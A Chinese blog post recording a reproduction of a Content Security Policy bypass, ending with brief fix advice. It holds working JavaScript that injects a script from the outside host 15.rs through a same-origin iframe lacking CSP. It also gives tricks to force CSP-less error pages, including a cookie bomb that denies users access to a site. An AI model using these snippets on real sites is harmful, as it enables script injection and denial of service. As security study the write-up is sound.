1. 程式人生 > 實用技巧 >學習 bypass csp記錄

學習 bypass csp記錄

最近看到一篇bypas csp的記錄復現學習下

配置csp

這裡直接設定html頭達到配置csp的效果。

Content-Security-Policy: script-src 'self' 'unsafe-inline'

建立html,載入js,程式碼如下,

<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允許同域名同埠下,同協議下的請求 'unsafe-inline' 允許行內程式碼執行-->
<script src="1.js"></script><!-- 引入內部js -->

可以正常執行

將js換成外部js看下

<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允許同域名同埠下,同協議下的請求 'unsafe-inline' 允許行內程式碼執行-->
<script src="//15.rs"></script><!-- 引入外部js -->

可以看到被csp攔截了。

bypass csp

由於我本機404沒有csp直接iframe任意檔案即可

<meta charset="utf-8" http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'" ><!-- script-src 'self' 同源策略,即允許同域名同埠下,同協議下的請求 'unsafe-inline' 允許行內程式碼執行-->
<body>
<script>
fm = document.createElement('iframe');
fm.src="/css/bootstrap.min.css";
fm.onload=()=>{
	sc = document.createElement('script');sc.src='//15.rs/';
	window.frames[0].document.head.appendChild(sc);//然後在iframe中嵌入script,載入js
};
document.body.appendChild(fm);//首先建立iframe載入
</script>
</body>

成功執行載入15.rs的js。

其他情況

若沒有找到未配置csp的頁面可以嘗試讓伺服器強制返回錯誤頁面
1、url解碼失敗 400

fm = document.createElement('iframe');
fm.src="/%sf%EF%BB%BF";
document.body.appendChild(fm);

2、url長度太長

fm = document.createElement('iframe');
fm.src="/"+"a".repeat(20000);
document.body.appendChild(fm);

3、超大cookie拒絕服務

for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(3000)};


這樣這個站點就不能訪問了 ,有點尷尬。

修復建議

  • 所有頁面配置csp
  • 配置中只指定即可default-src 15.rs

參考